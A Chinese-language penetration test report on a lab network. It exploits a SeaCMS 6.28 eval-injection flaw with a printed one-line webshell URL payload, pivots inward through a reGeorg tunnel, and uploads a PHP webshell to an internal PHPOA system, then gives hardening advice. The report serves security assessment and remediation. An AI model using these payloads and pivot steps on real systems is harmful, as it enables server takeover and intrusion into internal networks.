概述
2016.12.22收到关于海洋网站及内网的的渗透测试项目,并对海洋CMS进行黑盒渗透测试。本次渗透测试对存在的漏洞进行了仔细的分析和测试,以了解该站点和对应的内网的安全程度,同时给出相应的安全加固建议。
2 实验环境
海洋CMS所在服务器为:
IP地址为:
外网:192.168.0.220
内网Vmnet3:192.168.80.111
因为该报告是针对海洋CMS及内网中的渗透测试,所以把海洋CMS所在的服务器设置了两个虚拟网卡,一个桥接在外网中(海洋CMS的地址):
一个是内网中的地址(为了跟内网中的PHPOA所在的服务器通信):Vmnet3
内网PHPOA CMS所在服务器:linux环境
IP地址为:192.168.80.222
3 风险评估
海洋CMS中存在命令执行漏洞,该漏洞可以让攻击者直接在URL写入一句话木马,很是危险,会让攻击者直接拿到该站点的webshell,并借此来对内网攻击打下基础。
内网中的PHPOA站点存在任意文件上传漏洞,攻击者写一个上传的html页面,提交的地址写上有漏洞的文件上,就可以上传任意文件到服务器上,该漏洞可能导致攻击者直接上传木马文件到服务器上,拿到WebShell。
以上两条显示出海洋CMS及内网和内网中的PHPOACMS都面临着严重的安全问题,需要及时修补与防护。
4 原理分析
命令执行漏洞基本原理分析
由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。
4.1.1海洋CMS6.28实例分析
经过一番测试和查找资料,发现在
http://192.168.0.220/search.php?searchtype=5&tid=1
有命令执行漏洞。
拿到webshell之后查看该站点下根目录下的search.php文件发现area参数处理过的地方经过字符是否非法判断之后,调用echoSearchPage()函数,area参数经过了检测是否是拼音之后
接下来到了
$content=$mainClassObj->parseSearchItemList($content,"area");
因为能执行PHP代码一般就是eval()函数搜索一下这个页面有eval函数的地方
$strElse1=$elsearray[1];
@eval("if(".$strIf."){$ifFlag=true;}else{$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);}else{$content=str_replace($iar[0][$m],$strElse1,$content);}
}
else{
@eval("if(".$strIf."){$ifFlag=true;}else{ $ifFlag=false;}");
if($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
}
可以在这里下个断点,把变量打印出来,就可以清晰的看到就是在这执行了我们的命令
4.1.2漏洞的利用
在该注入点写上一句话木马
http://192.168.0.220
/search.php?searchtype=5&tid=&area=eval($_POST[xxx])
菜刀链接,密码为xxx
4.2任意文件上传漏洞解析
文件上传漏洞(File Upload Attack)是由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。
4.2.1对PHPOA系统的分析
在本地构造一个HTML提交页面,提交方式为POST,action写上http://192.168.80.222/phpoa/ntko/upLoadOfficeFile.php
利用这个提交的HTML页面可以让攻击者上传一定格式的文件,达到拿到该站点的WebShell作用。
5总体测试流程
海洋CMS(外网)站点渗透测试流程
1.在有漏洞的URL中写一句话木马
http://192.168.0.220/search.php?searchtype=5&tid=&area=eval($_POST[xxx])
2.使用菜刀链接,密码xxx
成功拿到海洋CMS的webshell,只需要两步
3.打开终端查看一下我们的权限
4.权限system,很高的权限,如果有需要的话可以添加一个管理员用户的账号密码,来进行远程桌面登录,在该测试中不需要这样做,就不在赘述了。
内网主机发现
1.在海洋CMS的webshell的终端上 ipconfig看一下IP
发现除了在外网的一个200网段外,还有一个内网的80网段,那查看一下内网中都有什么机器,使用windows自带的命令arp来查看都有什么机器。
发现有一台 192.168.80.222的主机,但是因为在内网中,外网无法访问此时就需要来使用代理,使外网中攻击者的主机可以访问处在内网80网端的192.168.80.222主机。
内网代理的配置
这里使用reGeorg脚本+proxifier代理工具
把一个脚本文件tunnel.nosocket.php放到海洋CMS的站点的一个能读取到目录下就可以,这里放到了根目录下的news目录下
C:phpstudyAWWWseacmsews
2.使用浏览器访问
http://192.168.0.220/news/tunnel.nosocket.php
看是否可以在客户端读取到信息
3.发现可以访问,此时使用脚本reGeorgSocksProxy.py来让海洋CMS的服务器开启web的80端口反弹到攻击者的8558端口
4.脚本运行成功,开启proxifier代理工具,来接收海洋服务器发来的数据包,此时在窗口中可以发现,已经成功代理。
5.通过测试机来访问内网中的服务器,成功。这个时候就可以对内网进行渗透测试了。
内网PHPOA系统的测试
1.在本地搭建一个上传的HTML页面
2.第一个浏览处上传正常的文件 1.txt (内容可以乱写)
第二个浏览处上传一个一句话木马的php文件 xxx.php
3.显示上传成功,使用菜刀连接
4.使用菜刀连接
http://192.168.80.222/ntko/uploadAttachFile/xxx.php
密码为xxx
5.菜刀连接成功,成功拿到内网PHPOA的webshell
6.查看IP地址和用户,发现是Apache的用户
7.由上图可知是用的Linux的系统搭建的服务器,内核也显示出来。但是是Apache用户,权限很低。
6 安全加固建议
由测试流程可知,只需知道用什么搭建的网站就可以直接渗透,很是危险。在外网中的站点海洋CMS和内网中的PHPOA系统根本不需要知道后台是什么,也不需要知道管理员的网站后台管理密码,直接拿webshell,这种漏洞应该需要及时修补。
海洋CMS:
1. 尽量使用脚本解决工作,少用执行命令函数,php中禁止disable_functions
2.程序参数的情况,escapshellcmd过滤
3.程序参数值的情况,escapeshellarg过滤
4.参数值尽量使用引用号包裹,并在拼接前调用addslashes进行转义
PHPOA:
1. 上传文件的存储目录禁用执行权限
2. 对上传的文件进行文件后缀名检测
3. 对上传文件的内容进行检测
4. 把/ntko/upLoadOfficeFile.php中的漏洞修复